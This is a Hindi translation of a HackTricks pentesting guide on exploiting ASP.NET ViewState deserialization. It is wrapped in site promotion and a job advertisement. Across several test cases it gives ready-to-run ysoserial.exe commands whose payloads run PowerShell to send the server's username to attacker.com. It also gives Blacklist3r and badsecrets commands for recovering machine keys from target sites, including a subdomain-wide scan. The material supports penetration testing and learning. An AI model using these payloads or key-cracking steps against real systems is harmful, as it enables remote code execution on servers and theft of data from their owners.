hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

26 KiB
Raw Blame History

रहस्यों को न जानते हुए __VIEWSTATE का उपयोग करना

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें
  • 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।**
  • अपने हैकिंग ट्रिक्स को hacktricks repo और hacktricks-cloud repo में PR जमा करके अपना योगदान दें।

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (अच्छी पोलिश लिखित और बोली जानी चाहिए).

{% embed url="https://www.stmcyber.com/careers" %}

ViewState क्या है

ViewState एक विधि है जिसका एएसपी.नेट फ्रेमवर्क डिफ़ॉल्ट रूप से उपयोग करता है वेब पेज के बीच पेज और नियंत्रण मानों को संरक्षित करने के लिए। जब पेज के लिए HTML बनाया जाता है, पेज की वर्तमान स्थिति और पोस्टबैक के दौरान रखे जाने वाले मानों को base64-कोड किए गए स्ट्रिंग में संकलित किया जाता है और ViewState छिपे हुए फ़ील्ड या फ़ील्ड में आउटपुट किया जाता है।
ViewState सूचना के लिए निम्नलिखित गुणों या गुणों का उपयोग किया जा सकता है:

  • Base64
  • EnableViewStateMac और ViewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
  • Base64 + MAC (संदेश प्रमाणिकरण कोड) सक्षम
  • EnableViewStateMac विशेषता का उपयोग करके परिभाषित किया जा सकता है
  • Base64 + एन्क्रिप्टेड
  • viewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है

परीक्षण मामले

परीक्षण मामला: 1 EnableViewStateMac=false और viewStateEncryptionMode=false

यह भी संभव है कि AspNetEnforceViewStateMac रजिस्ट्री कुंजी को शून्य पर सेट करके ViewStateMAC को पूरी तरह से अक्षम किया जाए:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState गुणों की पहचान

आप ViewState को MAC से सुरक्षित होने की पहचान करने के लिए इस पैरामीटर को समेत करने वाला एक अनुरोध को BurpSuite के साथ कैप्चर करके पहचानने का प्रयास कर सकते हैं:

यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है, तो आप YSoSerial.Net का उपयोग करके इसे शोषण कर सकते हैं।

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

परीक्षण मामला 1.5 - परीक्षण मामला 1 की तरह, ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है

डेवलपर ViewState को एक HTTP अनुरोध का हिस्सा नहीं बनाने के लिए हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।
हम मान सकते हैं कि यदि ViewState मौजूद नहीं है, तो उनका अमलन किया गया है ViewState डेसीरियलाइज़ेशन के संबंध में किसी भी संभावित सुरक्षा खतरे से सुरक्षित है।
हालांकि, ऐसा नहीं है। यदि हम अनुरोध बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीकलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड का निष्पादन कर सकते हैं जैसा कि मामला 1 में दिखाया गया है।

परीक्षण मामला: 2 - .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false

एक विशेष पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें निम्नलिखित परिवर्तनों को करने की आवश्यकता होती है:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

हम इसे समग्र अनुप्रयोग के लिए भी कर सकते हैं, इसे निम्नलिखित रूप में web.config फ़ाइल पर सेट करके:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

इस बार पैरामीटर MAC सुरक्षित है, इसलिए हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किया गया कुंजी की आवश्यकता होगी। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC सुरक्षित है:

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग की गई कुंजी को खोजने का प्रयास कर सकते हैं।

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets एक और उपकरण है जो ज्ञात मशीन कुंजी की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह यह Windows पर निर्भरता नहीं है। .NET viewstates के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज़ तरीका है।

इसे या तो viewstate और जेनरेटर के साथ सीधे प्रदान किया जा सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

या फिर, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से व्यूस्टेट को निकालने का प्रयास कर सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

व्यापक स्तर पर खोज करने के लिए, उपडोमेन गणना के साथ, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp

यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: का उपयोग करके हमला कर सकते हैं।

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

जब सर्वर द्वारा _VIEWSTATEGENERATOR पैरामीटर नहीं भेजा जाता है, तब आपको --generator पैरामीटर प्रदान करने की आवश्यकता नहीं होती है लेकिन ये:

--apppath="/" --path="/hello.aspx"

परीक्षण मामला: 3 - .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true

इस मामले में, Burp नहीं पता लगाता है कि क्या पैरामीटर MAC के साथ सुरक्षित है क्योंकि यह मान्यता नहीं देता है। फिर, संभावित रूप से मान लिया जाता है कि मान एन्क्रिप्ट है और आपको इस सुरक्षा कमजोरी का उपयोग करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन कुंजी की आवश्यकता होगी

इस मामले में Blacklist3r मॉड्यूल विकास के अधीन है...

.NET 4.5 से पहले, ASP.NET अपेक्षा कर सकता है कि उपयोगकर्ताओं से एक अनएन्क्रिप्टेड ___VIEWSTATE_पैरामीटर स्वीकार करें यदि ViewStateEncryptionMode को हमेशा सेट किया गया है। ASP.NET केवल अनुरोध में __VIEWSTATEENCRYPTED पैरामीटर की उपस्थिति की जांच करता है। यदि कोई इस पैरामीटर को हटा देता है और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह फिर भी प्रोसेस होगा।

इसलिए, यदि मशीन कुंजी ज्ञात होती है (उदाहरण के लिए, एक निर्देशिका ट्रावर्सल मुद्दे के माध्यम से), YSoSerial.Net कमांड का उपयोग ViewState डेसीरियलाइज़ेशन सुरक्षा का उपयोग करके RCE करने के लिए किया जा सकता है।

  • ViewState डेसीरियलाइज़ेशन सुरक्षा का शोध करने के लिए अनुरोध में __VIEWSTATEENCRYPTED पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और शोध विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:

परीक्षण मामला: 4 - .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को false करें

हम नीचे दिए गए पैरामीटर का उपयोग करके ASP.NET फ्रेमवर्क का उपयोग करने को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।

<httpRuntime targetFramework="4.5" />

वैकल्पिक रूप से, इसे वेब.कॉन्फ़िगफ़ाइल के machineKey पैरामीटर के अंदर नीचे दिए गए विकल्प को निर्दिष्ट करके किया जा सकता है।

compatibilityMode="Framework45"

जैसा कि पिछले मामले में था, बर्प नहीं पहचानता कि क्या अनुरोध MAC सुरक्षित है क्योंकि मान्यता एन्क्रिप्टेड होती है। इसलिए, एक मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग हो रही कुंजी को खोजने का प्रयास कर सकते हैं:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

आईआईएसडीआरपाठ और टार्गेटपेजपाठ के लिए अधिक विस्तृत विवरण के लिए यहां देखें

या, Badsecrets के साथ (जेनरेटर मान के साथ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

एक वैध मशीन कुंजी की पहचान करने के बाद, अगला कदम है YSoSerial.Net का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना।

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

यदि आपके पास __VIEWSTATEGENERATOR का मान है, तो आप उस मान के साथ --generator पैरामीटर का उपयोग करने की कोशिश कर सकते हैं और --path और --apppath पैरामीटर को छोड़ सकते हैं।

यदि ViewState डेसीरियलाइज़ेशन कमजोरी सफलतापूर्वक उपयोगिता कर रही है, तो हमलावार नियंत्रित सर्वर को उपयोगकर्ता नाम समेत एक आउट ऑफ बैंड अनुरोध प्राप्त होगा। सफल उपयोग का PoC

परीक्षण मामला 6 - ViewStateUserKeys का उपयोग हो रहा है

ViewStateUserKey गुणक का उपयोग CSRF हमले के खिलाफ सुरक्षा के लिए किया जा सकता है। यदि ऐसी कुंजी को एप्लिकेशन में परिभाषित किया गया है और हम उपरोक्त विधियों के साथ ViewState पेलोड उत्पन्न करने की कोशिश करते हैं, तो पेलोड एप्लिकेशन द्वारा प्रसंस्कृत नहीं किया जाएगा।
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:

--viewstateuserkey="randomstringdefinedintheserver"

सफल शोध का परिणाम

सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड सफलतापूर्वक काम करता है तो सर्वर "500 आंतरिक सर्वर त्रुटि" के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री "यह पृष्ठ के लिए राज्य सूचना अमान्य है और यह क्षतिग्रस्त हो सकती है" होती है और हमें आउट ऑफ बैंड अनुरोध प्राप्त होता है जैसा कि नीचे दिखाया गया है:

वर्तमान उपयोगकर्ता नाम के साथ आउट ऑफ बैंड अनुरोध

संदर्भ

यदि आपको हैकिंग करियर में रुचि है और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की आवश्यकता है? SUBSCRIPTION PLANS की जांच करें!
  • खोजें The PEASS Family, हमारा विशेष NFT संग्रह
  • प्राप्त करें आधिकारिक PEASS & HackTricks swag
  • शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे ट्विटर पर फ़ॉलो करें 🐦@carlospolopm.
  • अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।